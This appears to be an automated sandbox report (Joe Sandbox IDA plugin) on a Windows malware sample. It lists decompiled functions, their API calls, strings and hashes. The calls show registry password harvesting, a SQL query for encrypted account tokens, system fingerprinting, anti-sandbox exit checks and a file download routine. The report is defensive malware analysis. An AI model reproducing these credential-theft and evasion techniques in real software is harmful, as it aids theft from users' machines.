Opcode ID: fd13a5bf35781070aacd445d09fd412eb75f4d8fb20893014472706d679c0f3e
Instruction ID: b5eb1e2d9a8a1e3cf56e2c34e54d9e93e9a372b4459d7a8870c797c8d4c08f80
Opcode Fuzzy Hash: fd13a5bf35781070aacd445d09fd412eb75f4d8fb20893014472706d679c0f3e
Instruction Fuzzy Hash: AB5184B1D501186BCB14EB61DC96FED733CAF50314F4041ADB60A62092EE785BD9CBAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,0260ADA0), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103
q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$??2@CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 449328342-3681770271
Opcode ID: 1a189af19a0918ddc1989b4224ad2285b48102a83fadce9624675bb6f0ae19fa
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: 1a189af19a0918ddc1989b4224ad2285b48102a83fadce9624675bb6f0ae19fa
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(353F9020,004217A0), ref: 00407646
lstrcat.KERNEL32(353F9020,00000000), ref: 00407688
lstrcat.KERNEL32(353F9020, : ), ref: 0040769A
lstrcat.KERNEL32(353F9020,00000000), ref: 004076CF
lstrcat.KERNEL32(353F9020,004217A8), ref: 004076E0
lstrcat.KERNEL32(353F9020,00000000), ref: 00407713
lstrcat.KERNEL32(353F9020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: f979cf87b43af2eb7bb5905fc5edc651b4ca25bb004b27d4a2fbdc1bc65e463e
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: f979cf87b43af2eb7bb5905fc5edc651b4ca25bb004b27d4a2fbdc1bc65e463e
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

C, xrefs: 00416FEC
:, xrefs: 00416FFC
\, xrefs: 00417000

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: 11e96b5f598d36b5145eb5ca339976e7cb65ddbe81ead056b2f3bcd54bd5f766
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,026095D0,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,026095D0,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

%d MB, xrefs: 00417C43
@, xrefs: 00417BED

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 00416B70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: a2649502dd857f7a6f2c152c7032022c2e5ebb9aae8a7a6abff8c91a4bda3b7d
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: a2649502dd857f7a6f2c152c7032022c2e5ebb9aae8a7a6abff8c91a4bda3b7d
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B91A
AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B9A9
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 068e2a2c9d0951dbc297878fd7eb8fdf412b42ec459a92f639ef87dc0f618beb
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 068e2a2c9d0951dbc297878fd7eb8fdf412b42ec459a92f639ef87dc0f618beb
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025EC1D0), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025EC230), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025EC1E8), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025EC260), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025EC200), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025E4B28), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025EA5E8), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025EA508), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,02606620), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,026066B0), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,02606728), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,02606758), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,025EA668), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(77190000,02606638), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLangID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,025E4B48,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,025E4B48,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000013.00000002.2529434887.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.2529434887.000000000043C000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000046A000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000493000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000049F000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004C4000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004D1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004F1000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000004FD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000500000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.0000000000587000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005A7000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.00000000005AD000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000013.00000002.2529434887.000000000063E000.00000040.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_cda9e1cbbc.jbxd

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleLangName__aulldiv$ComputerCreateCurrentGlobalInfoMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1125299040-0
Opcode ID: 50247ecd70c5a0f843e1285b19dc708eb9ca0ab759f18e513338518cb063b549
Instruction ID: 0c3fac6cf7b50bea5c1f94bc3db5f65e3227356296d56eb517008ea5f4118e6e
Opcode Fuzzy Hash: 50247ecd70c5a0f843e1285b19dc708eb9ca0ab759f18e513338518cb063b549
Instruction Fuzzy Hash: 03317130941108BACB14FBF2DC56BEE7739AF18318F50452EF513A6092DFBC6985C66A

Function 00417E7C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
wsprintfA.USER32 ref: 00417EF9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B
RegCloseKey.ADVAPI32(00000000), ref: 00417F2C
RegCloseKey.ADVAPI32(00000000), ref: 00417F39

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

RegQueryValueExA.KERNEL32(00000000,02609660,00000000,000F003F,?,00000400), ref: 00417F8C
lstrlenA.KERNEL32(?), ref: 00417FA1
